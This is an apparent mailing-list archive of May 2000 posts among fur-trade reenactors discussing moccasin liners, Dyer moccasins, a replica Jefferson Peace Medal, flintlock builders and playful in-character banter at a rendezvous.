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Internet Message Format | 2000-05-31 | 2MB

From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: moccasin liners
Date: 01 May 2000 09:08:36 -0700

I have always appreciated Angela's postings.  She is knowledgeable, polite
and always "on focus" to the purpose of this site.  I agree with both of you
that one has to do what they have to do.  If you re-read my posting, you
will see that it acknowledges the need for those with health problems to do
what needs to be done.  And, as you mentioned, I will have my opinions which
I will share with others who have a like interest.  The discussion of
moccasins seemed to get started in a direction where modern and
comfort-oriented additions to period footwear seemed to be the sole subject.
I felt another opinion was needed so as not to give the impression that
adhering to period practice is simply "not done".  In truth, it is "done"
and for good reasons.  As this site is open to all, beginners and veterans,
I didn't want newcomers starting out thinking that what we do requires no
sacrifice to comfort.  Rain and snow falls down on our heads and the rocky
trail rises up to meet our feet.  If you live and work in the paths of those
we emulate, it is the price you must pay.  The distance between text(what
you read) and turf(what you experience) is vast.  Your knowledge is the
richer if you are able to narrow that gap.  That is the essence of my
"opinion".
I meant no disrespect to those with other opinions and I hope, Ms. Gottfred,
you didn't read that into my posting, even if others did.

Larry Huber


----- Original Message -----
Sent: Thursday, April 27, 2000 6:21 PM


Amen, Angela
Nothing loses the "essence" quite as much as having to stay home because
walking in moccasins is impossible without the modifications you need.  You
continue to do what you need to do and let the others have their opinions.
It amazes me that people can't separate comfort from necessity.
YMOS
Lanney Ratcliff

----- Original Message -----
Sent: Sunday, April 27, 1980 10:03 AM


> "Larry Huber" <[e-mail]> wrote:
> >>I've tried the double soles, the triple liners, the modern foam pads
> and I found that it was like wearing a pair of shoes that looked like
> moccasins.  It 'aint the same.  The essence is lost. <<
>
> Larry,
> It's great that you can get out often enough that you can walk properly in
> the woods with your moccasins. It really does bring you closer to nature.
I
> had that skill once, but have lost it because I haven't been able to keep
> in practice.
>
> I know that if I were to wear my moccasins with a single sole and a wool
> liner, I would be experiencing pain & discomfort which the Natives & fur
> traders did not. The extra layers on the bottom & inside of my moccasins
> make up for the thin soles on my feet, my lack of skill in walking, and
the
> unhistoric surfaces at some of the events which I regularly attend. Also,
I
> can't keep afford to replace my mocs when the soles wear out quickly due
to
> being worn on pavement or sharp gravel for a week.
>
> There's still a world of difference between my moccasins + extra sole +
Dr.
> Scholl's liners and the Vibram-soled walking shoes I ordinarily wear.
>
> Your humble & obedient servant,
> Angela Gottfred
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: moccasin liners
Date: 01 May 2000 10:27:38 -0600

Larry, what a well thought out and phrased message! I believe, like you,
that everyone has a right to their own beliefs and opinions and if they
didn't share them we would have a very boring existence indeed.
Please be assured that here is one person you have never offended, nor are
likely to. I welcome diverse positions - it makes for great cerebral
exercise. I want to thank you for participating and hope that someday we may
share a campfire and continue these discussions face to face.
Yours sincerely
Bill C
-----Original Message-----


>I have always appreciated Angela's postings.  She is knowledgeable, polite
>and always "on focus" to the purpose of this site.  I agree with both of
you
>that one has to do what they have to do.  If you re-read my posting, you
>will see that it acknowledges the need for those with health problems to do
>what needs to be done.  And, as you mentioned, I will have my opinions
which
>I will share with others who have a like interest.  The discussion of
>moccasins seemed to get started in a direction where modern and
>comfort-oriented additions to period footwear seemed to be the sole
subject.
>I felt another opinion was needed so as not to give the impression that
>adhering to period practice is simply "not done".  In truth, it is "done"
>and for good reasons.  As this site is open to all, beginners and veterans,
>I didn't want newcomers starting out thinking that what we do requires no
>sacrifice to comfort.  Rain and snow falls down on our heads and the rocky
>trail rises up to meet our feet.  If you live and work in the paths of
those
>we emulate, it is the price you must pay.  The distance between text(what
>you read) and turf(what you experience) is vast.  Your knowledge is the
>richer if you are able to narrow that gap.  That is the essence of my
>"opinion".
>I meant no disrespect to those with other opinions and I hope, Ms.
Gottfred,
>you didn't read that into my posting, even if others did.
>
>Larry Huber
>
>
>----- Original Message -----
>From: Ratcliff <[e-mail]>
>To: <[e-mail]>
>Sent: Thursday, April 27, 2000 6:21 PM
>Subject: Re: MtMan-List: moccasin liners
>
>
>Amen, Angela
>Nothing loses the "essence" quite as much as having to stay home because
>walking in moccasins is impossible without the modifications you need.  You
>continue to do what you need to do and let the others have their opinions.
>It amazes me that people can't separate comfort from necessity.
>YMOS
>Lanney Ratcliff
>
>----- Original Message -----
>From: Angela Gottfred <[e-mail]>
>To: <[e-mail]>
>Sent: Sunday, April 27, 1980 10:03 AM
>Subject: Re: MtMan-List: moccasin liners
>
>
>> "Larry Huber" <[e-mail]> wrote:
>> >>I've tried the double soles, the triple liners, the modern foam pads
>> and I found that it was like wearing a pair of shoes that looked like
>> moccasins.  It 'aint the same.  The essence is lost. <<
>>
>> Larry,
>> It's great that you can get out often enough that you can walk properly
in
>> the woods with your moccasins. It really does bring you closer to nature.
>I
>> had that skill once, but have lost it because I haven't been able to keep
>> in practice.
>>
>> I know that if I were to wear my moccasins with a single sole and a wool
>> liner, I would be experiencing pain & discomfort which the Natives & fur
>> traders did not. The extra layers on the bottom & inside of my moccasins
>> make up for the thin soles on my feet, my lack of skill in walking, and
>the
>> unhistoric surfaces at some of the events which I regularly attend. Also,
>I
>> can't keep afford to replace my mocs when the soles wear out quickly due
>to
>> being worn on pavement or sharp gravel for a week.
>>
>> There's still a world of difference between my moccasins + extra sole +
>Dr.
>> Scholl's liners and the Vibram-soled walking shoes I ordinarily wear.
>>
>> Your humble & obedient servant,
>> Angela Gottfred
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Warm weather Mocs
Date: 01 May 2000 09:31:06 -0700

Bill,
    Do you have and trouble with getting your dyers on in the mornings?  I
did several camps with a fellow who loved them. His only complaint was the
mornings.  He'd wear them all day and get them nice and moist.  Then he'd
leave 'em overnight out of the robes and they'd be as soft as a chunk of
granite by dawn.  I bought Arrow Mocs Voyager's Boots and had a similar
experience.

Larry Huber

----- Original Message -----
Sent: Friday, April 28, 2000 9:34 AM


> Thanks, Buck. Why not send that sketch along. I'm sure there are plenty
> who'd be interested. I never owned a pair of those. The ones I get are the
> ones that lace up the front and whose likeness can be found in old
paintings
> and even the occasional museum.  Hanson's books have near copies as well.
> They are brutes for taking punishment, are made by several companies
besides
> Dyers. And the truth is, I see many people wearing them - they just don't
> talk about them. I had a pair made by Carl Dyer's dad back when they were
> making them for LL Bean. But they finally wore out. Oh well. .  .
> -----Original Message-----
> From: [e-mail] <[e-mail]>
> To: [e-mail] <[e-mail]>
> Date: Friday, April 28, 2000 9:11 AM
> Subject: Re: MtMan-List: Warm weather Mocs
>
>
> >Bill Cunningham wrote:
> >
> >> Now I am going to 'fess up. I have a couple of pair of plains style
mocs
> I
> >> made. I've worn out a heap of them. But nowadays I usually stick a pair
> of
> >> them in my pack for use around camp. While doing research over the
years,
> >> especially in the southwest, I came to believe that the southwest Dyer
> moc
> >> (that's the one that laces up the front) is as close to what came out
of
> that
> >> area as most can get. There is more to it than that but I'm not listing
> it -
> >> much to long - Anyway, that's what I wear on the trail, afoot or
> horseback.
> >> They have never let me down, and that is one of my prime
> >> requisites..............
> >
> >Bill,
> >Charley  Hanson had a sketch of a French Marine moc in his office from a
> friend
> >that ran one of the Canadian museums (can't remember which one now),
anyway
> the
> >moc can be duplicated using one of Dyers old style tie behind mocs (one's
> like
> >we have all had). If you want I can send you a copy of that sketch for
the
> >Tomahawk & Long Rifle.
> >
> >What is needed to change from the Dyer pattern is to cut down that wide
> strap
> >that goes around the foot into a narrow one inch band that ties with just
a
> >couple of holes (leave your thong long enough to make a loop to hang them
> up),
> >this is a fast an easy modification to make a good pair of footwear more
> correct
> >for period use, not perfect but closer than in original form.
> >
> >The best part, like you say Dyer's are hard to beat when traveling or
just
> >working in and around camp, so why not make them fit the period. Showed
> Carl
> >Dyer at an event years ago - the sketch Hanson had and he went off the
deep
> end
> >about f.... up his mocs.
> >
> >Anymore on water trips (canoe, flat boat or bateau) I wear them in and
out
> of
> >the water, too much tin, metal and glass to take a chance of getting
cut -
> >aren't some camper's and boater's wonderful !
> >
> >Later
> >Buck Conner
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 09:28:09 -0700

"Master Steve"

Well Steve, you wanted to associate with this group of scoundrels and now
you've walked into the thick of it. <G> I would have thought that after a
wet weekend camped with some on the Larson Arm you'd know better. How are
you going to extricate yourself now? <G> I remain......

YMOS
Capt. Lahti'
----- Original Message -----
Sent: Wednesday, April 26, 2000 6:10 PM


> Honorable Master Steven,
>
> Be it know, that my dear departed husband, did  but  just last year,
> loose such a medal in the mighty rolling Columbia River.  He did lose
> it as he  slipped into the river and drown on a cold rainy Northwest
> day.  God rest his soul.
>
> Surly you would not deprive such a token of respect  from a grieving
> old widow woman.
> So,  hows about handing that there precious medal on over to me?
>
> Yours in the utmost respect,
> Maw Hawk
>
> >Ho the List
> >
> >....also, while at the L&C center, I picked up a bronze Jefferson Peace
Medal
> >exactly like the one carried by L&C and given to the Indian chiefs. The
medal
> >was struck, as I understand it, by the US Mint, on the original mold,
only in
> >bronze, rather than silver as were the originals. Does anyone know if
this is
> >true...that the US Mint used the original mold cast in 1801?
> >
> >It's a pretty neat medal and I plan on having it silver plated and tell
the
> >story about how I found it on the banks of the Columbia River....
> >
> >Ymos,
> >Steve
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



----------------------
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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Warm weather Mocs
Date: 01 May 2000 12:20:17 -0600

Can't say as I do, anymore. I bought a pair of Dyer type mocs from a
Canadian company (through Otter) and they are of a softer material. I have
worn them considerably and have had no problem. With Dyer's I found that I
needed to skive the ankle areas or they rubbed me raw. And you are right
about them being stiff in the mornings. Terrible hard if you didn't wear
socks.
Bill
-----Original Message-----


>Bill,
>    Do you have and trouble with getting your dyers on in the mornings?  I
>did several camps with a fellow who loved them. His only complaint was the
>mornings.  He'd wear them all day and get them nice and moist.  Then he'd
>leave 'em overnight out of the robes and they'd be as soft as a chunk of
>granite by dawn.  I bought Arrow Mocs Voyager's Boots and had a similar
>experience.
>
>Larry Huber
>
>----- Original Message -----
>From: Bill Cunningham <[e-mail]>
>To: <[e-mail]>
>Sent: Friday, April 28, 2000 9:34 AM
>Subject: Re: MtMan-List: Warm weather Mocs
>
>
>> Thanks, Buck. Why not send that sketch along. I'm sure there are plenty
>> who'd be interested. I never owned a pair of those. The ones I get are
the
>> ones that lace up the front and whose likeness can be found in old
>paintings
>> and even the occasional museum.  Hanson's books have near copies as well.
>> They are brutes for taking punishment, are made by several companies
>besides
>> Dyers. And the truth is, I see many people wearing them - they just don't
>> talk about them. I had a pair made by Carl Dyer's dad back when they were
>> making them for LL Bean. But they finally wore out. Oh well. .  .
>> -----Original Message-----
>> From: [e-mail] <[e-mail]>
>> To: [e-mail] <[e-mail]>
>> Date: Friday, April 28, 2000 9:11 AM
>> Subject: Re: MtMan-List: Warm weather Mocs
>>
>>
>> >Bill Cunningham wrote:
>> >
>> >> Now I am going to 'fess up. I have a couple of pair of plains style
>mocs
>> I
>> >> made. I've worn out a heap of them. But nowadays I usually stick a
pair
>> of
>> >> them in my pack for use around camp. While doing research over the
>years,
>> >> especially in the southwest, I came to believe that the southwest Dyer
>> moc
>> >> (that's the one that laces up the front) is as close to what came out
>of
>> that
>> >> area as most can get. There is more to it than that but I'm not
listing
>> it -
>> >> much to long - Anyway, that's what I wear on the trail, afoot or
>> horseback.
>> >> They have never let me down, and that is one of my prime
>> >> requisites..............
>> >
>> >Bill,
>> >Charley  Hanson had a sketch of a French Marine moc in his office from a
>> friend
>> >that ran one of the Canadian museums (can't remember which one now),
>anyway
>> the
>> >moc can be duplicated using one of Dyers old style tie behind mocs
(one's
>> like
>> >we have all had). If you want I can send you a copy of that sketch for
>the
>> >Tomahawk & Long Rifle.
>> >
>> >What is needed to change from the Dyer pattern is to cut down that wide
>> strap
>> >that goes around the foot into a narrow one inch band that ties with
just
>a
>> >couple of holes (leave your thong long enough to make a loop to hang
them
>> up),
>> >this is a fast an easy modification to make a good pair of footwear more
>> correct
>> >for period use, not perfect but closer than in original form.
>> >
>> >The best part, like you say Dyer's are hard to beat when traveling or
>just
>> >working in and around camp, so why not make them fit the period. Showed
>> Carl
>> >Dyer at an event years ago - the sketch Hanson had and he went off the
>deep
>> end
>> >about f.... up his mocs.
>> >
>> >Anymore on water trips (canoe, flat boat or bateau) I wear them in and
>out
>> of
>> >the water, too much tin, metal and glass to take a chance of getting
>cut -
>> >aren't some camper's and boater's wonderful !
>> >
>> >Later
>> >Buck Conner
>> >
>> >
>> >----------------------
>> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Julia <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 12:44:51 -0700

Greetings,  Captain Lahti',

Sir,  How your words do cut deeper than any  knife,  and knowing you
to be a master of words and  in command of the  utmost respect,  I do
then  bow to your wisdom and consider myself hereafter reduced to
that of being a  scoundrel.

In respect and humility,
The Widow Julia

>Well Steve, you wanted to associate with this group of scoundrels and now
>you've walked into the thick of it. <G> I would have thought that after a
>wet weekend camped with some on the Larson Arm you'd know better. How are
>you going to extricate yourself now? <G> I remain......
>
>YMOS
>Capt. Lahti'
>----- Original Message -----
>From: "Julia" <[e-mail]>
>To: <[e-mail]>
>Sent: Wednesday, April 26, 2000 6:10 PM
>Subject: Re: MtMan-List: the Jefferson Peace Medal
>
>
>  > Honorable Master Steven,
>  >
>  > Be it know, that my dear departed husband, did  but  just last year,
>  > loose such a medal in the mighty rolling Columbia River.  He did lose
>  > it as he  slipped into the river and drown on a cold rainy Northwest
>  > day.  God rest his soul.
>  >
>  > Surly you would not deprive such a token of respect  from a grieving
>  > old widow woman.
>  > So,  hows about handing that there precious medal on over to me?
>  >
>
>  > >Ho the List
>  > >
>  > >....also, while at the L&C center, I picked up a bronze Jefferson Peace
>Medal
>  > >exactly like the one carried by L&C and given to the Indian chiefs. The
>medal
>  > >was struck, as I understand it, by the US Mint, on the original mold,
>only in
>  > >bronze, rather than silver as were the originals. Does anyone know if
>this is
>  > >true...that the US Mint used the original mold cast in 1801?
>  > >
>  > >It's a pretty neat medal and I plan on having it silver plated and tell
>the
>  > >story about how I found it on the banks of the Columbia River....
>  > >
>  > >Ymos,
>  > >Steve
>  > >
>  > >----------------------
>  > >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>  >
>  >
>  > ----------------------
>  > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>  >
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 14:08:15 -0700

The Widow Julia,

My dear lady, I am shamed with the knowledge that I have seemingly included
your Loveliness in any grouping of scoundrels. I would never knowingly place
a person of your obvious gentle nature in such company. Now this Steve
fellow, he is another story. A scoundrel in the making and should I find him
unencumbered with his entourage of fellow scoundrels, as I did this past
week camped out on "Hard Core Elitist Bastards' Estates" ( a Gated
Community), located on the south side of the Larson Arm, near but not quite
adequately separate from the "Regular Gathering At Frog Holler", and thus
totally outnumbered, I shall take the cane to him unmercifully and recover
your property postwith. I found him to be of spurious character and have
evidence to show my case.

It has been widely known that my good and honorable Camp Mate, one "Old
Blue", AKA. Tom Crooks and I have historically offered chocolate to any fair
maiden that would brave the icy depths to swim to our side. In years past we
have only had to give out small amounts of chocolate. This year as we spent
the sunny (quit abnormal for this location) day contemplating the fine
shooting we had done on the trail that morning, (I found myself modestly
accepting the first place prize for the Trade Gun Shoot and my erstwhile
companion equally found to his embarrassment that he had taken First in the
Rifle Shoot) our attention was drawn to a ruckus coming from the main camp
At Frog.

To our amazement and my dismay, we beheld two large "War Canoes" lashed
together and coming our way full of lovely women chanting, "Chocolate,
Chocolate, Chocolate", to the rhythm of their war clubs thumping on the
gunnels of the canoes. I hurriedly assembled my wholly inadequate supply of
Milk  Chocolate onto a plate and prepared to greet the approaching Lovely's.
Contrary to the rules, they all arrived dry<clothed, but  hungry for
Chocolate, which I alone was prepared to provide. I was able to extract a
hug from each one and perhaps a second squeeze from a couple before they
announced that next year they would expect the same along with Tea and
Crumpets. I got no help from the rest of the scoundrels camped with me other
than to see my brethren share in the warmth and beauty that shown from the
ladies unto their departure.

Other than drink our rum, burn our wood, eat our food and share in our good
fortune with the visiting ladies, this Steve fellow has only one quality. He
will pick up anything shinny and think it worth keeping. I propose he be
called "Magpie" for his propensity to go for the shinny objects. What say
the 'Body"?

As for me, Dear Lady, may I extend my most heart felt sympathy at your lose
and my affections to you in the most honorable way. To suggest that you or
any one of the fairer sex could be considered a scoundrel is cause to take
up the sword. My best wishes to you and your family. I remain.....

Most Affectionately
YMOS
Capt.



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From: [e-mail]
Subject: MtMan-List: Irish mountain man novel
Date: 01 May 2000 17:44:21 EDT

    I hope many readers will visit www.irishmountainman.com for the true
story of famous mountain man Robert Campbell: trusted friend of Jim Bridger,
Wm Sublette, and Jed Smith; blood brother to Insula of the Flathead tribe;
St. Louis millionaire; and confidant of three U.S. presidents.  I have just
published a novel based on his life.
    My goal was to present many years of research in a manner which will
appeal to general public.

Steve

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From: Victoria Pate <[e-mail]>
Subject: Re: MtMan-List: Dyer web site...
Date: 01 May 2000 17:57:26 -0500

Mr. Funk,

John, Stichin' Scotsman, who is AMM, recently made me a pair of
 high top, side seam moccs.  I wore them to my first Rendezvous just
 a few weeks ago here in Texas.  I had some special needs beins
 I was a ballerina for twenty years and just about ruined my feet.
John did a wonderful job making the moccs around my requirements.
I know where my second pair of moccs will come from! John specializes
in custom  handsewn goods for the American Fur Trade Era, which includes
clothes for men and the ladies---all authentic.  He can
fabricate whatever you need.

http://www.stichinscotsman.com/

As we say here in Texas, I hope you give him a shout.
Texan


On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
<[e-mail]> writes:
> Ole.....
> I'm looking for anyone that can fabricate a moc.  better than
> I...and that
> don't say much.  If there's a better (authentic) "mouse trap", I'll
> look at
> it (them).
> John Funk
>
>
>
> ----- Original Message -----
> From: Ole B. Jensen <[e-mail]>
> To: <[e-mail]>
> Sent: Sunday, April 30, 2000 7:55 PM
> Subject: Re: MtMan-List: Dyer web site...
>
>
> > John,
> > Hate to barge in on this thread, but I have heard that there is
> another
> > company making a mocasin like Dyer's? If someone knows who they
> are and
> how
> > to get a hold of them please post your info.
> > YMOS
> > Ole # 718
> > ----------
> > >From: manbear <[e-mail]>
> > >To: [e-mail]
> > >Subject: Re: MtMan-List: Dyer web site...
> > >Date: Sun, Apr 30, 2000, 10:17 AM
> > >
> >
> > >I just checked Dyer's ad in Smoke & Fire and didn't see one
> listed.
> > >
> > >Manbear
> > >
> > >"John C. Funk, Jr." wrote:
> > >
> > >> Anyone know if Dyer has a web site?
> > >> John Funk
> > >>
> > >> ----------------------
> > >> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> > >
> > >----------------------
> > >hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> >
> > ----------------------
> > hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

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From: Victoria Pate <[e-mail]>
Subject: Re: MtMan-List: Dyer web site...
Date: 01 May 2000 18:23:48 -0500

It would be of help if I spelled out Stitchin' Scotman's
web page correctly!!

http://www.stitchinscotsman.com

Texan

On Mon, 1 May 2000 17:57:26 -0500 Victoria Pate <[e-mail]> writes:
> Mr. Funk,
>
> John, Stichin' Scotsman, who is AMM, recently made me a pair of
>  high top, side seam moccs.  I wore them to my first Rendezvous just
>  a few weeks ago here in Texas.  I had some special needs beins
>  I was a ballerina for twenty years and just about ruined my feet.
> John did a wonderful job making the moccs around my requirements.
> I know where my second pair of moccs will come from! John
> specializes
> in custom  handsewn goods for the American Fur Trade Era, which
> includes
> clothes for men and the ladies---all authentic.  He can
> fabricate whatever you need.
>
> http://www.stichinscotsman.com/
>
> As we say here in Texas, I hope you give him a shout.
> Texan
>
>
> On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
> <[e-mail]> writes:
> > Ole.....
> > I'm looking for anyone that can fabricate a moc.  better than
> > I...and that
> > don't say much.  If there's a better (authentic) "mouse trap",
> I'll
> > look at
> > it (them).
> > John Funk
> >
> >
> >
> > ----- Original Message -----
> > From: Ole B. Jensen <[e-mail]>
> > To: <[e-mail]>
> > Sent: Sunday, April 30, 2000 7:55 PM
> > Subject: Re: MtMan-List: Dyer web site...
> >
> >
> > > John,
> > > Hate to barge in on this thread, but I have heard that there is
> > another
> > > company making a mocasin like Dyer's? If someone knows who they
> > are and
> > how
> > > to get a hold of them please post your info.
> > > YMOS
> > > Ole # 718
> > > ----------
> > > >From: manbear <[e-mail]>
> > > >To: [e-mail]
> > > >Subject: Re: MtMan-List: Dyer web site...
> > > >Date: Sun, Apr 30, 2000, 10:17 AM
> > > >
> > >
> > > >I just checked Dyer's ad in Smoke & Fire and didn't see one
> > listed.
> > > >
> > > >Manbear
> > > >
> > > >"John C. Funk, Jr." wrote:
> > > >
> > > >> Anyone know if Dyer has a web site?
> > > >> John Funk
> > > >>
> > > >> ----------------------
> > > >> hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > > >
> > > >----------------------
> > > >hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > >
> > > ----------------------
> > > hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> >
> >
> > ----------------------
> > hist_text list info:
> > http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

----------------------
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From: Julia <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 18:30:13 -0700

Dearest, Captain Lahti,

Sir, Your kind words do find a place of comfort in my heart,  they
are gratefully accepted.
Please, allow me to  humbly beg your pardon for my misunderstandings.
I,  being swallowed up with  grief and despair, have found myself
with an addled mind.

I  pray  that you  put down your cane and spare the young master
Steve's  backside on my account.  Being as addled as I have become,
I would not have one moments rest for fear that I caused a great
unjust act to fall upon this good man that has but only one real
fault, that of being a  "Magpie".

I say God speed,  to your fine ladies of the chocolate  dip.   Next
year let them have their tea and crumpets as well.   For in truth, I
tell you,  not only would I enjoy a good cup of tea,  but  I would
also  swim even the coldest of streams,   thereupon, I would count
myself of great fortune if that splendid gentleman known as   "Old
Blue"  were to  place a bit of chocolate  upon my tongue.   This
being a sentiment,  I am quite sure,  is shared by the ladies of your
camp.

To you Sir,  I offer my congratulations on taking the shooting match,
well done.   I dare say, that there will  be no lack of meat hanging
on your porch his winter.

I closing, my dear Capt.  I would ask that you  use  great caution in
your pursuits in a place with a name like  "Hard Core Elitist
Bastards' Estates"  that you did make mention of in your last letter,
for the name alone, does strike the fear of God deep within my soul.

I bid you a gracious farewell,
The widow Julia ( of addled mind and empty larder)



>The Widow Julia,
>
>My dear lady, I am shamed with the knowledge that I have seemingly included
>your Loveliness in any grouping of scoundrels. I would never knowingly place
>a person of your obvious gentle nature in such company. Now this Steve
>fellow, he is another story. A scoundrel in the making and should I find him
>unencumbered with his entourage of fellow scoundrels, as I did this past
>week camped out on "Hard Core Elitist Bastards' Estates" ( a Gated
>Community), located on the south side of the Larson Arm, near but not quite
>adequately separate from the "Regular Gathering At Frog Holler", and thus
>totally outnumbered, I shall take the cane to him unmercifully and recover
>your property postwith. I found him to be of spurious character and have
>evidence to show my case.
>
>It has been widely known that my good and honorable Camp Mate, one "Old
>Blue", AKA. Tom Crooks and I have historically offered chocolate to any fair
>maiden that would brave the icy depths to swim to our side. In years past we
>have only had to give out small amounts of chocolate. This year as we spent
>the sunny (quit abnormal for this location) day contemplating the fine
>shooting we had done on the trail that morning, (I found myself modestly
>accepting the first place prize for the Trade Gun Shoot and my erstwhile
>companion equally found to his embarrassment that he had taken First in the
>Rifle Shoot) our attention was drawn to a ruckus coming from the main camp
>At Frog.
>
>To our amazement and my dismay, we beheld two large "War Canoes" lashed
>together and coming our way full of lovely women chanting, "Chocolate,
>Chocolate, Chocolate", to the rhythm of their war clubs thumping on the
>gunnels of the canoes. I hurriedly assembled my wholly inadequate supply of
>Milk  Chocolate onto a plate and prepared to greet the approaching Lovely's.
>Contrary to the rules, they all arrived dry<clothed, but  hungry for
>Chocolate, which I alone was prepared to provide. I was able to extract a
>hug from each one and perhaps a second squeeze from a couple before they
>announced that next year they would expect the same along with Tea and
>Crumpets. I got no help from the rest of the scoundrels camped with me other
>than to see my brethren share in the warmth and beauty that shown from the
>ladies unto their departure.
>
>Other than drink our rum, burn our wood, eat our food and share in our good
>fortune with the visiting ladies, this Steve fellow has only one quality. He
>will pick up anything shinny and think it worth keeping. I propose he be
>called "Magpie" for his propensity to go for the shinny objects. What say
>the 'Body"?
>
>As for me, Dear Lady, may I extend my most heart felt sympathy at your lose
>and my affections to you in the most honorable way. To suggest that you or
>any one of the fairer sex could be considered a scoundrel is cause to take
>up the sword. My best wishes to you and your family. I remain.....


>Most Affectionately
>YMOS
>Capt.


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From: [e-mail]
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 21:50:07 EDT

> I say God speed,  to your fine ladies of the chocolate  dip.   Next
>  year let them have their tea and crumpets as well.   For in truth, I
>  tell you,  not only would I enjoy a good cup of tea,  but  I would
>  also  swim even the coldest of streams,   This being a sentiment,
>  I am quite sure,  is shared by the ladies of your camp.

Capt. Lahti,
Am forwarding by quickest messenger a supply of fine, lambskin sheaths.  I
dare not cast aspersions on the fine ladies of the West, however Company men
must be protected at all costs, lest production fail and company quotas are
not met.  Debilitating disease does not fill the coffers.

As the nesting season is full upon us, it seems that you might have your
hands full coping with the local natives.  Use them with disgression and
honor, as I have no further use for them.  The Eastern ladies have been tamed
for some time.

Le Vieux Reynard, scout
Vermilion Co. Rangers

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From: farseer <[e-mail]>
Subject: RE: MtMan-List: Building Flintlocks
Date: 01 May 2000 21:25:03 -0500

Thanks all.    Reckon I'll be scrapin' my pennies together to get me a =
new gun.   I'd like to get a matching pistol, but I have to convince the =
Keeper of the Wampum that it's a necessity.  So far, she remains =
unconvinced.


Todd



> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of
> [e-mail]
> Sent: Sunday, April 30, 2000 10:24 AM
> To: [e-mail]
> Subject: Re: MtMan-List: Building Flintlocks
>=20
>=20
> [e-mail] wrote:
>=20
> > Farseer, I have a TVM Southern Rifle and matching pistol, both=20
> in .54 cal,
> > ++curly maple and brass hardware. Not only are they are fine=20
> lookin' but dang
> > they shoot good too, right out of the box.  Also found Jack=20
> Garner and his
> > lovely Lady a pleasure to work with. Just my $.02 worth.       =20
>  Barney Fife
>=20
> Jack and the his wife have split I was told by Freddy Harris a=20
> couple years ago,
> when the business changed hands.
>=20
>=20
>=20
>=20
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
>=20


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From: Julia <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 19:31:40 -0700

Le Vieux Reynard,

I was speaking of chocolate candy, not the filth that you wallow in.
Though,  I can understand that to someone of your low caliber  the
two could be confused.  For shame,  sirrah!

>   Debilitating disease does not fill the coffers.
>
>As the nesting season is full upon us, it seems that you might have your
>hands full coping with the local natives.  Use them with disgression and
>honor, as I have no further use for them.  The Eastern ladies have been tamed
>for some time.
>
>Le Vieux Reynard, scout
>Vermilion Co. Rangers
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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From: [e-mail]
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 22:41:05 EDT

> I was speaking of chocolate candy, not the filth that you wallow in.
>  Though,  I can understand that to someone of your low caliber  the
>  two could be confused.  For shame,  sirrah!

Madam,
I spoke not ill, nor judged, a poor widow down on her luck.
Instead, I referred to those saucy tarts who bore down on the good Captain,
posthaste, to advantage themselves of his hard won spoils, and to take
advantage of him in other ways to horrible to mention in common company.

The poor man has grown feeble and is "down in the back."  The company only
maintains his present postition for his leadership skills, not his work
ethic.  Such an onslaught upon his being could only result in great loss to
the Company.  In this wild and foreboding country, we must protect our
interests at all costs.

Le Vieux Reynard

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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: the Jefferson Peace Medal
Date: 01 May 2000 21:59:02 -0700

Ya know, I'm sure glad I have my boots on.  Cause this CRAP is gettin real
deep.
Pendleton
-----Original Message-----


> I was speaking of chocolate candy, not the filth that you wallow in.
>  Though,  I can understand that to someone of your low caliber  the
>  two could be confused.  For shame,  sirrah!

Madam,
I spoke not ill, nor judged, a poor widow down on her luck.
Instead, I referred to those saucy tarts who bore down on the good Captain,
posthaste, to advantage themselves of his hard won spoils, and to take
advantage of him in other ways to horrible to mention in common company.

